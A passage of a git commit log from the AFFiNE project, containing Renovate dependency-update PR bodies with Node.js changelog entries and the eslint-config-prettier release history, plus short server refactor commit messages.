-   \[[`1b1104e69b`](https://redirect.github.com/nodejs/node/commit/1b1104e69b)] - **test**: add resource to internal module stat test (RafaelGSS) [#&#8203;55157](https://redirect.github.com/nodejs/node/pull/55157)
-   \[[`b36f8c2146`](https://redirect.github.com/nodejs/node/commit/b36f8c2146)] - **test**: update multiple assert tests to use node:test (James M Snell) [#&#8203;54585](https://redirect.github.com/nodejs/node/pull/54585)
-   \[[`1b30f7fdd6`](https://redirect.github.com/nodejs/node/commit/1b30f7fdd6)] - **test**: move coverage source map tests to new file (Aviv Keller) [#&#8203;55123](https://redirect.github.com/nodejs/node/pull/55123)
-   \[[`ce67e7b5b3`](https://redirect.github.com/nodejs/node/commit/ce67e7b5b3)] - **test**: adding more tests for strip-types (Kevin Toshihiro Uehara) [#&#8203;54929](https://redirect.github.com/nodejs/node/pull/54929)
-   \[[`a57c8ba3ef`](https://redirect.github.com/nodejs/node/commit/a57c8ba3ef)] - **test**: update wpt test for encoding (devstone) [#&#8203;55151](https://redirect.github.com/nodejs/node/pull/55151)
-   \[[`65fbe94d45`](https://redirect.github.com/nodejs/node/commit/65fbe94d45)] - **test**: add `escapePOSIXShell` util (Antoine du Hamel) [#&#8203;55125](https://redirect.github.com/nodejs/node/pull/55125)
-   \[[`cc8838252e`](https://redirect.github.com/nodejs/node/commit/cc8838252e)] - **test**: remove unnecessary `await` in test-watch-mode (Wuli) [#&#8203;55142](https://redirect.github.com/nodejs/node/pull/55142)
-   \[[`9aeba48bf0`](https://redirect.github.com/nodejs/node/commit/9aeba48bf0)] - **test**: fix typos (Nathan Baulch) [#&#8203;55063](https://redirect.github.com/nodejs/node/pull/55063)
-   \[[`0999b5e493`](https://redirect.github.com/nodejs/node/commit/0999b5e493)] - **test**: remove duplicated test descriptions (Christos Koutsiaris) [#&#8203;54140](https://redirect.github.com/nodejs/node/pull/54140)
-   \[[`e99d4a4cb8`](https://redirect.github.com/nodejs/node/commit/e99d4a4cb8)] - **test**: deflake test/pummel/test-timers.js (jakecastelli) [#&#8203;55098](https://redirect.github.com/nodejs/node/pull/55098)
-   \[[`fb8470afd7`](https://redirect.github.com/nodejs/node/commit/fb8470afd7)] - **test**: deflake test-http-remove-header-stays-removed (Luigi Pinca) [#&#8203;55004](https://redirect.github.com/nodejs/node/pull/55004)
-   \[[`e879c5edf2`](https://redirect.github.com/nodejs/node/commit/e879c5edf2)] - **test**: fix test-tls-junk-closes-server (Michael Dawson) [#&#8203;55089](https://redirect.github.com/nodejs/node/pull/55089)
-   \[[`b885f0583c`](https://redirect.github.com/nodejs/node/commit/b885f0583c)] - **test**: fix more tests that fail when path contains a space (Antoine du Hamel) [#&#8203;55088](https://redirect.github.com/nodejs/node/pull/55088)
-   \[[`85f1187942`](https://redirect.github.com/nodejs/node/commit/85f1187942)] - **test**: fix `assertSnapshot` when path contains a quote (Antoine du Hamel) [#&#8203;55087](https://redirect.github.com/nodejs/node/pull/55087)
-   \[[`fdae57f1e1`](https://redirect.github.com/nodejs/node/commit/fdae57f1e1)] - **test**: fix some tests when path contains `%` (Antoine du Hamel) [#&#8203;55082](https://redirect.github.com/nodejs/node/pull/55082)
-   \[[`36c9ea8912`](https://redirect.github.com/nodejs/node/commit/36c9ea8912)] - ***Revert*** "**test**: mark test-fs-watch-non-recursive flaky on Windows" (Luigi Pinca) [#&#8203;55079](https://redirect.github.com/nodejs/node/pull/55079)
-   \[[`80da5993cc`](https://redirect.github.com/nodejs/node/commit/80da5993cc)] - **test**: remove interval and give more time to unsync (Pietro Marchini) [#&#8203;55006](https://redirect.github.com/nodejs/node/pull/55006)
-   \[[`93c23e74b3`](https://redirect.github.com/nodejs/node/commit/93c23e74b3)] - **test**: deflake test-inspector-strip-types (Luigi Pinca) [#&#8203;55058](https://redirect.github.com/nodejs/node/pull/55058)
-   \[[`43bbca2c08`](https://redirect.github.com/nodejs/node/commit/43bbca2c08)] - **test**: make `test-runner-assert` more robust (Aviv Keller) [#&#8203;55036](https://redirect.github.com/nodejs/node/pull/55036)
-   \[[`268f1ec08f`](https://redirect.github.com/nodejs/node/commit/268f1ec08f)] - **test**: update tls test to support OpenSSL32 (Michael Dawson) [#&#8203;55030](https://redirect.github.com/nodejs/node/pull/55030)
-   \[[`a50dd21423`](https://redirect.github.com/nodejs/node/commit/a50dd21423)] - **test**: do not assume `process.execPath` contains no spaces (Antoine du Hamel) [#&#8203;55028](https://redirect.github.com/nodejs/node/pull/55028)
-   \[[`c56e324cb8`](https://redirect.github.com/nodejs/node/commit/c56e324cb8)] - **test**: fix `test-vm-context-dont-contextify` when path contains a space (Antoine du Hamel) [#&#8203;55026](https://redirect.github.com/nodejs/node/pull/55026)
-   \[[`6d42e44264`](https://redirect.github.com/nodejs/node/commit/6d42e44264)] - **test**: adjust tls-set-ciphers for OpenSSL32 (Michael Dawson) [#&#8203;55016](https://redirect.github.com/nodejs/node/pull/55016)
-   \[[`22e601a76c`](https://redirect.github.com/nodejs/node/commit/22e601a76c)] - **test**: add `util.stripVTControlCharacters` test (RedYetiDev) [#&#8203;54865](https://redirect.github.com/nodejs/node/pull/54865)
-   \[[`a6796696d7`](https://redirect.github.com/nodejs/node/commit/a6796696d7)] - **test**: improve coverage for timer promises schedular (Aviv Keller) [#&#8203;53370](https://redirect.github.com/nodejs/node/pull/53370)
-   \[[`9506f77b3e`](https://redirect.github.com/nodejs/node/commit/9506f77b3e)] - **test**: remove `getCallSite` from common (RedYetiDev) [#&#8203;54947](https://redirect.github.com/nodejs/node/pull/54947)
-   \[[`20d3a806ea`](https://redirect.github.com/nodejs/node/commit/20d3a806ea)] - **test**: remove unused common utilities (RedYetiDev) [#&#8203;54825](https://redirect.github.com/nodejs/node/pull/54825)
-   \[[`341b6d9b94`](https://redirect.github.com/nodejs/node/commit/341b6d9b94)] - **test**: deflake test-http-header-overflow (Luigi Pinca) [#&#8203;54978](https://redirect.github.com/nodejs/node/pull/54978)
-   \[[`1e53c10853`](https://redirect.github.com/nodejs/node/commit/1e53c10853)] - **test**: fix `soucre` to `source` (Aviv Keller) [#&#8203;55038](https://redirect.github.com/nodejs/node/pull/55038)
-   \[[`6843ca7e0d`](https://redirect.github.com/nodejs/node/commit/6843ca7e0d)] - **test**: add asserts to validate test assumptions (Michael Dawson) [#&#8203;54997](https://redirect.github.com/nodejs/node/pull/54997)
-   \[[`98ff615c5e`](https://redirect.github.com/nodejs/node/commit/98ff615c5e)] - **test**: add runner watch mode isolation tests (Pietro Marchini) [#&#8203;54888](https://redirect.github.com/nodejs/node/pull/54888)
-   \[[`327a8f7b59`](https://redirect.github.com/nodejs/node/commit/327a8f7b59)] - **test**: fix invalid wasm test (Aviv Keller) [#&#8203;54935](https://redirect.github.com/nodejs/node/pull/54935)
-   \[[`5b012f544c`](https://redirect.github.com/nodejs/node/commit/5b012f544c)] - **test**: move test-http-max-sockets to parallel (Luigi Pinca) [#&#8203;54977](https://redirect.github.com/nodejs/node/pull/54977)
-   \[[`22b413910e`](https://redirect.github.com/nodejs/node/commit/22b413910e)] - **test**: remove test-http-max-sockets flaky designation (Luigi Pinca) [#&#8203;54976](https://redirect.github.com/nodejs/node/pull/54976)
-   \[[`62b8640550`](https://redirect.github.com/nodejs/node/commit/62b8640550)] - **test**: refactor test-whatwg-webstreams-encoding to be shorter (David Dong) [#&#8203;54569](https://redirect.github.com/nodejs/node/pull/54569)
-   \[[`1f11d68173`](https://redirect.github.com/nodejs/node/commit/1f11d68173)] - **test**: adjust key sizes to support OpenSSL32 (Michael Dawson) [#&#8203;54972](https://redirect.github.com/nodejs/node/pull/54972)
-   \[[`90a87ca8f7`](https://redirect.github.com/nodejs/node/commit/90a87ca8f7)] - **test**: update test to support OpenSSL32 (Michael Dawson) [#&#8203;54968](https://redirect.github.com/nodejs/node/pull/54968)
-   \[[`9b7834536a`](https://redirect.github.com/nodejs/node/commit/9b7834536a)] - **test**: update DOM events web platform tests (Matthew Aitken) [#&#8203;54642](https://redirect.github.com/nodejs/node/pull/54642)
-   \[[`1c001550a2`](https://redirect.github.com/nodejs/node/commit/1c001550a2)] - **test,crypto**: update WebCryptoAPI WPT (Filip Skokan) [#&#8203;55029](https://redirect.github.com/nodejs/node/pull/55029)
-   \[[`800f7c44ed`](https://redirect.github.com/nodejs/node/commit/800f7c44ed)] - **test_runner**: throw on invalid source map (Aviv Keller) [#&#8203;55055](https://redirect.github.com/nodejs/node/pull/55055)
-   \[[`0f7e3f017f`](https://redirect.github.com/nodejs/node/commit/0f7e3f017f)] - **test_runner**: assert entry is a valid object (Edigleysson Silva (Edy)) [#&#8203;55231](https://redirect.github.com/nodejs/node/pull/55231)
-   \[[`c308862d2e`](https://redirect.github.com/nodejs/node/commit/c308862d2e)] - **test_runner**: avoid spread operator on arrays (Antoine du Hamel) [#&#8203;55143](https://redirect.github.com/nodejs/node/pull/55143)
-   \[[`12401972b7`](https://redirect.github.com/nodejs/node/commit/12401972b7)] - **test_runner**: support typescript files in default glob (Aviv Keller) [#&#8203;55081](https://redirect.github.com/nodejs/node/pull/55081)
-   \[[`19cfa3140f`](https://redirect.github.com/nodejs/node/commit/19cfa3140f)] - **test_runner**: close and flush destinations on forced exit (Colin Ihrig) [#&#8203;55099](https://redirect.github.com/nodejs/node/pull/55099)
-   \[[`86f7cb802d`](https://redirect.github.com/nodejs/node/commit/86f7cb802d)] - **(SEMVER-MINOR)** **test_runner**: support custom arguments in `run()` (Aviv Keller) [#&#8203;55126](https://redirect.github.com/nodejs/node/pull/55126)
-   \[[`7eaeba499a`](https://redirect.github.com/nodejs/node/commit/7eaeba499a)] - **test_runner**: fix mocking modules with quote in their URL (Antoine du Hamel) [#&#8203;55083](https://redirect.github.com/nodejs/node/pull/55083)
-   \[[`8818c6c88a`](https://redirect.github.com/nodejs/node/commit/8818c6c88a)] - **test_runner**: report error on missing sourcemap source (Aviv Keller) [#&#8203;55037](https://redirect.github.com/nodejs/node/pull/55037)
-   \[[`b62f2f8259`](https://redirect.github.com/nodejs/node/commit/b62f2f8259)] - **(SEMVER-MINOR)** **test_runner**: add 'test:summary' event (Colin Ihrig) [#&#8203;54851](https://redirect.github.com/nodejs/node/pull/54851)
-   \[[`449dad0db0`](https://redirect.github.com/nodejs/node/commit/449dad0db0)] - **test_runner**: use `test:` symbol on second print of parent test (RedYetiDev) [#&#8203;54956](https://redirect.github.com/nodejs/node/pull/54956)
-   \[[`4b962a78c7`](https://redirect.github.com/nodejs/node/commit/4b962a78c7)] - **test_runner**: replace ansi clear with ansi reset (Pietro Marchini) [#&#8203;55013](https://redirect.github.com/nodejs/node/pull/55013)
-   \[[`d7c708aec5`](https://redirect.github.com/nodejs/node/commit/d7c708aec5)] - **(SEMVER-MINOR)** **test_runner**: add support for coverage via run() (Chemi Atlow) [#&#8203;53937](https://redirect.github.com/nodejs/node/pull/53937)
-   \[[`93c6c90219`](https://redirect.github.com/nodejs/node/commit/93c6c90219)] - **test_runner**: support typescript module mocking (Marco Ippolito) [#&#8203;54878](https://redirect.github.com/nodejs/node/pull/54878)
-   \[[`1daec9a63f`](https://redirect.github.com/nodejs/node/commit/1daec9a63f)] - **test_runner**: avoid coverage report partial file names (Pietro Marchini) [#&#8203;54379](https://redirect.github.com/nodejs/node/pull/54379)
-   \[[`d51e5a8667`](https://redirect.github.com/nodejs/node/commit/d51e5a8667)] - **tools**: enforc

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOC4xMzMuMSIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-17 08:47:09 +00:00
liuyi
9f3b39ffd6 test: mobile e2e (#9753) 2025-01-17 16:22:09 +08:00
forehalo
94b0802e64 fix(nbstore): userdata id converter (#9748) 2025-01-17 07:43:07 +00:00
github-actions[bot]
24cd7e367c chore(i18n): sync translations (#9741)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: liuyi <forehalo@gmail.com>
2025-01-17 07:24:27 +00:00
forehalo
44de4474c3 feat(server): use user model (#9710) 2025-01-17 07:06:12 +00:00
fengmk2
a2d16f4b78 refactor(server): use workspace model on user model (#9726) 2025-01-17 06:16:53 +00:00
fengmk2
46aa25de0b feat(server): page model (#9715) 2025-01-17 06:16:51 +00:00
fengmk2
5c934c64aa feat(server): workspace model (#9714) 2025-01-17 06:16:49 +00:00
renovate
85b07a5de0 chore: bump up eslint-config-prettier version to v10 (#9671)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-config-prettier](https://redirect.github.com/prettier/eslint-config-prettier) | [`^9.1.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/eslint-config-prettier/9.1.0/10.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-config-prettier/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-config-prettier/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-config-prettier/9.1.0/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-config-prettier/9.1.0/10.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>prettier/eslint-config-prettier (eslint-config-prettier)</summary>

### [`v10.0.1`](https://redirect.github.com/prettier/eslint-config-prettier/releases/tag/v10.0.1)

[Compare Source](https://redirect.github.com/prettier/eslint-config-prettier/compare/v10.0.0...v10.0.1)

### eslint-config-prettier

#### 10.0.0

##### Major Changes

-   [#&#8203;272](https://redirect.github.com/prettier/eslint-config-prettier/pull/272) [`5be64be`](5be64bef68) Thanks [@&#8203;abrahamguo](https://redirect.github.com/abrahamguo)! - add support for [@&#8203;stylistic](https://redirect.github.com/stylistic) formatting rules

#### Versions before 10.0.0

##### Version 9.1.0 (2023-12-02)

-   Added: [unicorn/template-indent], (as a [special rule][unicorn/template-indent-special]). Thanks to Gürgün Dayıoğlu ([@&#8203;gurgunday](https://redirect.github.com/gurgunday))!
-   Changed: All the [formatting rules that were deprecated in ESLint 8.53.0][deprecated-8.53.0] are now excluded if you set the `ESLINT_CONFIG_PRETTIER_NO_DEPRECATED` environment variable.

##### Version 9.0.0 (2023-08-05)

-   Added: The CLI helper tool now works with eslint.config.js (flat config). Just like ESLint itself, the CLI tool automatically first tries eslint.config.js and then eslintrc, and you can force which one to use by setting the [ESLINT_USE_FLAT_CONFIG] environment variable. Note that the *config* of eslint-config-prettier has always been compatible with eslint.config.js (flat config) – it was just the CLI tool that needed updating. On top of that, the docs have been updated to mention how to use both eslint.config.js (flat config) and eslintrc, and the tests now test both config systems.
-   Changed: [unicode-bom] is no longer turned off. Prettier preserves the BOM if you have one, and does not add one if missing. It was wrong of eslint-config-prettier to disable that rule. If you get ESLint errors after upgrading, either add `"unicode-bom": "off"` to your config to disable it again, or run ESLint with `--fix` to fix all files according to the rule (add or remove BOM). Thanks to Nicolas Stepien ([@&#8203;nstepien](https://redirect.github.com/nstepien))!

##### Version 8.10.0 (2023-08-03)

-   Added: [max-statements-per-line]. Thanks to [@&#8203;Zamiell](https://redirect.github.com/Zamiell)!

##### Version 8.9.0 (2023-07-27)

-   Added: [vue/array-element-newline]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 8.8.0 (2023-03-20)

-   Added: [@&#8203;typescript-eslint/lines-around-comment]. Thanks to [@&#8203;ttionya](https://redirect.github.com/ttionya)!

##### Version 8.7.0 (2023-03-06)

-   Added: [@&#8203;typescript-eslint/block-spacing]. Thanks to [@&#8203;ttionya](https://redirect.github.com/ttionya)!
-   Added: [@&#8203;typescript-eslint/key-spacing]. Thanks to [@&#8203;ttionya](https://redirect.github.com/ttionya)!

##### Version 8.6.0 (2023-01-02)

-   Added: [vue/multiline-ternary]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 8.5.0 (2022-03-02)

-   Added: [@&#8203;typescript-eslint/space-before-blocks]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 8.4.0 (2022-02-19)

-   Added: [vue/quote-props]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 8.3.0 (2021-04-24)

-   Added: Support for [@&#8203;babel/eslint-plugin]. Thanks to Chip Zhang ([@&#8203;ChipZhang](https://redirect.github.com/ChipZhang)) for the heads-up! ([eslint-plugin-babel] is still supported, too.)

##### Version 8.2.0 (2021-04-13)

-   Added: [flowtype/quotes]. Thanks to Martin Zlámal ([@&#8203;mrtnzlml](https://redirect.github.com/mrtnzlml))!

##### Version 8.1.0 (2021-02-24)

-   Added: [flowtype/object-type-curly-spacing].
-   Added: Dummy files for the configs removed in 8.0.0. The dummy files throw an error that try to guide you how to upgrade.

##### Version 8.0.0 (2021-02-21)

-   Changed: All configs have been merged into one!

    To upgrade, change:

    ```json
    {
      "extends": [
        "some-other-config-you-use",
        "prettier",
        "prettier/@&#8203;typescript-eslint",
        "prettier/babel",
        "prettier/flowtype",
        "prettier/react",
        "prettier/standard",
        "prettier/unicorn",
        "prettier/vue"
      ]
    }
    ```

    Into:

    <!-- prettier-ignore -->

    ```json
    {
      "extends": [
        "some-other-config-you-use",
        "prettier"
      ]
    }
    ```

    The `"prettier"` config now includes not just ESLint core rules, but also rules from all plugins. Much simpler!

    So … what’s the catch? Why haven’t we done this earlier? Turns out it’s just a sad mistake. I ([@&#8203;lydell](https://redirect.github.com/lydell)) was confused when testing, and thought that turning off unknown rules in a config was an error. Thanks to Georgii Dolzhykov ([@&#8203;thorn0](https://redirect.github.com/thorn0)) for pointing this out!

    If you use [eslint-plugin-prettier], all you need is [plugin:prettier/recommended]:

    <!-- prettier-ignore -->

    ```json
    {
      "extends": [
        "some-other-config-you-use",
        "plugin:prettier/recommended"
      ]
    }
    ```

    (The ["prettier/prettier" config][prettier-prettier-config] still exists separately. It’s the odd one out. The main `"prettier"` config does *not* include the rules from it.)

-   Changed: The CLI helper tool now only prints warnings for [arrow-body-style] and [prefer-arrow-callback], just like other “special rules.” This means that if you’ve decided to use those rules and [eslint-plugin-prettier] at the same time, you’ll get warnings but exit code zero (success).

##### Version 7.2.0 (2021-01-18)

-   Added: [@&#8203;typescript-eslint/object-curly-spacing].
-   Added: [react/jsx-newline].

##### Version 7.1.0 (2020-12-19)

-   Added: [unicorn/empty-brace-spaces]. Thanks to fisker Cheung ([@&#8203;fisker](https://redirect.github.com/fisker))!

##### Version 7.0.0 (2020-12-05)

-   Changed: At least ESLint 7.0.0 is now required.

-   Changed: [arrow-body-style] and [prefer-arrow-callback] are no longer turned off by default. They only need to be turned off if you use [eslint-plugin-prettier]. If you do, add `"prettier/prettier"` to your `"extends"` array to turn them off again.

    ```json
    {
      "extends": ["prettier", "prettier/prettier"],
      "plugins": ["prettier"],
      "rules": {
        "prettier/prettier": "error"
      }
    }
    ```

    Alternatively, update [eslint-plugin-prettier] to version 3.2.0 or later which automatically turns off these two rules in its `"plugin:prettier/recommended"` config.

    The CLI helper tool only warns about these rules if you have the `"prettier/prettier"` *rule* enabled for a file.

-   Changed: `no-tabs` is now a validatable rule. If you use it, you should enable `allowIndentationTabs` so that the rule works regardless of your Prettier config:

    ```json
    {
      "rules": {
        "no-tabs": ["error", { "allowIndentationTabs": true }]
      }
    }
    ```

-   Changed: The CLI helper tool is now called just `eslint-config-prettier` instead of `eslint-config-prettier-check`. This is so that `npx eslint-config-prettier` always works regardless of whether you have already installed `eslint-config-prettier` or not: If you have, the local installation is used; if you haven’t, `npx` downloads a temporary copy.

-   Changed: The CLI helper tool no longer requires you to pipe the output of `eslint --print-config` to it. Instead, it does that automatically for you via ESLint API:s added in ESLint v7.

    Before:

        npx eslint --print-config index.js | npx eslint-config-prettier-check

    After:

        npx eslint-config-prettier index.js

-   Improved: The npm package is now 75% smaller.

##### Version 6.15.0 (2020-10-27)

-   Added: [@&#8203;typescript-eslint/space-infix-ops]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.14.0 (2020-10-21)

-   Added: New [eslint-plugin-vue] rules: \[vue/array-bracket-newline] and \[vue/block-tag-newline]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.13.0 (2020-10-16)

-   Added: New rules in [eslint-plugin-vue] 7.0 (which supports Vue 3.0). Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.12.0 (2020-09-25)

-   Added: [@&#8203;typescript-eslint/comma-dangle]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.11.0 (2020-04-21)

-   Added: [@&#8203;typescript-eslint/keyword-spacing]. Thanks to Hans Bergren ([@&#8203;hbergren](https://redirect.github.com/hbergren))!

##### Version 6.10.1 (2020-03-22)

-   Improved: Recommend using `npx` when running the CLI helper tool.
-   Updated: Mention that eslint-config-prettier has been tested with Prettier 2.0 and the latest versions of plugins.

##### Version 6.10.0 (2020-01-28)

-   Added: [@&#8203;typescript-eslint/comma-spacing]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.9.0 (2019-12-27)

-   Added: [vue/max-len]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.8.0 (2019-12-25)

-   Added: [@&#8203;typescript-eslint/no-extra-semi]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.7.0 (2019-11-19)

-   Added: [@&#8203;typescript-eslint/space-before-function-paren]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.6.0 (2019-11-17)

-   Added: New [eslint-plugin-vue] rules: [vue/dot-location] and [vue/keyword-spacing]. Thanks to [@&#8203;xcatliu](https://redirect.github.com/xcatliu)!

##### Version 6.5.0 (2019-10-26)

-   Added: Support for [excluding deprecated rules]. Thanks to Alex Ilyaev ([@&#8203;alexilyaev](https://redirect.github.com/alexilyaev))!

##### Version 6.4.0 (2019-10-05)

-   Added: [unicorn/no-nested-ternary]. Thanks to Yang Mingshan ([@&#8203;yangmingshan](https://redirect.github.com/yangmingshan))!

##### Version 6.3.0 (2019-09-10)

-   Added: [@&#8203;typescript-eslint/brace-style]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.2.0 (2019-09-03)

-   Added: [@&#8203;typescript-eslint/quotes] (as a [special rule][@&#8203;typescript-eslint/quotes-special]). Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.1.0 (2019-08-19)

-   Added: [function-call-argument-newline] (new in ESLint 6.2.0). Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 6.0.0 (2019-06-25)

-   Changed: The CLI helper tool now considers [no-confusing-arrow] to conflict if you use the default value of its `allowParens` option. The default was changed to `true` in ESLint 6, which conflicts with Prettier.

    If the CLI helper tool gives you errors about this after upgrading, the solution is to change this:

    ```json
    {
      "rules": {
        "no-confusing-arrow": ["error"]
      }
    }
    ```

    Into this:

    ```json
    {
      "rules": {
        "no-confusing-arrow": ["error", { "allowParens": false }]
      }
    }
    ```

    The latter works in both ESLint 6 as well as in ESLint 5 and older.

-   Improved: `eslint --print-config` usage instructions. The CLI tool help text as well as the documentation has been updated to suggest commands that work in ESLint 6.0 as well as in ESLint 5 and older. (Instead of `eslint --print-config .`, use `eslint --print-config path/to/main.js`.)

##### Version 5.1.0 (2019-06-25)

-   Added: [react/jsx-curly-newline]. Thanks to Masafumi Koba ([@&#8203;ybiquitous](https://redirect.github.com/ybiquitous))!

##### Version 5.0.0 (2019-06-15)

-   Removed: [react/self-closing-comp]. This rule was added in v4.1.0 not because it *conflicted* with Prettier but because it was *unnecessary* when using Prettier. However, in v1.18.0 [Prettier stopped converting empty elements to self-closing elements][prettier-self-closing]. So the rule is not unnecessary anymore.

    If you use Prettier v1.17.1 or older you should be able to upgrade eslint-config-prettier to v5.0.0 without having to do anything else.

    If you use Prettier v1.18.0 or newer, you might get lint errors about for example changing `<div></div>` into `<div />`. You have two options:

    -   Run `eslint --fix` if you prefer to enforce self-closing elements where possible. This should fix all the errors.
    -   Add `"react/self-closing-comp": "off"` to your ESLint config if you use autofix from your editor and you face the same [issue as Prettier did][prettier-self-closing].

-   Changed: Node.js 6 is no longer officially supported, but v5.0.0 should still work with it.

##### Version 4.3.0 (2019-05-16)

-   Added: New [eslint-plugin-vue] rules: [vue/arrow-spacing], [vue/block-spacing], [vue/brace-style] and [vue/comma-dangle].
-   Added: New [@&#8203;typescript-eslint/eslint-plugin] rules: [@&#8203;typescript-eslint/func-call-spacing] and [@&#8203;typescript-eslint/semi].

##### Version 4.2.0 (2019-04-25)

-   Added: [@&#8203;typescript-eslint/no-extra-parens]. Thanks to Keiichiro Amemiya ([@&#8203;Hoishin](https://redirect.github.com/Hoishin)) and Jen Gorfine ([@&#8203;jgorfine](https://redirect.github.com/jgorfine))!

##### Version 4.1.0 (2019-02-26)

-   Added: [linebreak-style]. Use Prettier’s [end-of-line] option instead.
-   Added: [react/self-closing-comp]. Thanks to Gaurav Gupta ([@&#8203;gaurav5430](https://redirect.github.com/gaurav5430))!

##### Version 4.0.0 (2019-01-26)

-   Breaking change: Support for [eslint-plugin-typescript] has been removed and replaced with support for its successor [@&#8203;typescript-eslint/eslint-plugin]. Thanks to TANIGUCHI Masaya ([@&#8203;ta2gch](https://redirect.github.com/ta2gch)) and everyone else who helped with this!
-   Changed: [arrow-body-style] and [prefer-arrow-callback] are now marked as [special rules][arrow-special], since they might cause problems if using [eslint-plugin-prettier] and `--fix`. They are turned off by default, and the CLI helper tool will *warn* about them (but not error if you do enable them). This won’t break your linting checks, but do note that these rules will be disabled unless you explicitly enable them again, and that you might see new warnings when running the CLI helper tool.

##### Version 3.6.0 (2019-01-19)

-   Added: Support for [eslint-plugin-babel]. Thanks to Matija Marohnić ([@&#8203;silvenon](https://redirect.github.com/silvenon))!

##### Version 3.5.0 (2019-01-16)

-   Fixed: The eslint-plugin-vue change from 3.4.0 has been reverted. That change requires eslint-plugin-vue@5, while many use eslint-plugin-vue@4. In other words, it was an accidental breaking change. Also, after thinking about it some more, it makes sense to have a Prettier-specific list of rules, rather than using the `vue/no-layout-rules` list, since there can be layout rules that don’t conflict with but rather complement Prettier.
-   Added: New eslint-plugin-vue rules coming in the next version after 5.1.0.

##### Version 3.4.0 (2019-01-13)

-   Added: Support for [eslint-plugin-typescript]. Thanks to Jed Fox ([@&#8203;j-f1](https://redirect.github.com/j-f1))!
-   Improved: The eslint-plugin-vue integration is now using the `vue/no-layout-rules` config behind the scenes, so it should automatically stay up-to-date when new eslint-plugin-vue versions are released. Thanks to Michał Sajnóg ([@&#8203;michalsnik](https://redirect.github.com/michalsnik))!

##### Version 3.3.0 (2018-11-11)

-   Added: The [vue/html-self-closing] rule (as a [special rule][vue/html-self-closing-special]). Thanks to Yamagishi Kazutoshi ([@&#8203;ykzts](https://redirect.github.com/ykzts))!

##### Version 3.2.0 (2018-11-10)

-   Added: Support for [eslint-plugin-vue].
-   Fixed: The CLI helper tool should now work in Node.js 6 with npm 3 again. Thanks to Grant Snodgrass ([@&#8203;meeber](https://redirect.github.com/meeber))!
-   Improved: Updated documentation.

##### Version 3.1.0 (2018-09-22)

-   Added: Support for [eslint-plugin-unicorn]. Thanks to John Mars ([@&#8203;j0hnm4r5](https://redirect.github.com/j0hnm4r5))!
-   Changed: The [quotes] rule is now allowed to be used to forbid unnecessary backticks. This means that the CLI helper tool no longer can automatically validate it, so you’ll need to refer the [quotes special rule documentation][quotes-special]. Thanks to Nick Petruzzelli ([@&#8203;npetruzzelli](https://redirect.github.com/npetruzzelli))!

##### Version 3.0.1 (2018-08-13)

-   Improved: `eslint --print-config` usage instructions.

##### Version 3.0.0 (2018-08-13)

-   Breaking change: Dropped Node.js 4 support.

##### Version 2.10.0 (2018-08-13)

-   Added: [flowtype/boolean-style]. Thanks to Mayank Agarwal ([@&#8203;Mayank1791989](https://redirect.github.com/Mayank1791989))!
-   Added: [react/jsx-child-element-spacing]
-   Added: [react/jsx-props-no-multi-spaces]

##### Version 2.9.0 (2017-11-26)

-   Added: The [implicit-arrow-linebreak] rule.

##### Version 2.8.0 (2017-11-19)

-   Added: The [react/jsx-one-expression-per-line] rule.

##### Version 2.7.0 (2017-11-01)

-   Added: The [lines-around-comment] rule (as a [special rule][lines-around-comment-special]). Thanks to Maurice de Beijer ([@&#8203;mauricedb](https://redirect.github.com/mauricedb))!
-   Added: The [no-unexpected-multiline] rule (as a [special rule][no-unexpected-multiline-special]). Thanks to Suhas Karanth ([@&#8203;sudo-suhas](https://redirect.github.com/sudo-suhas))!

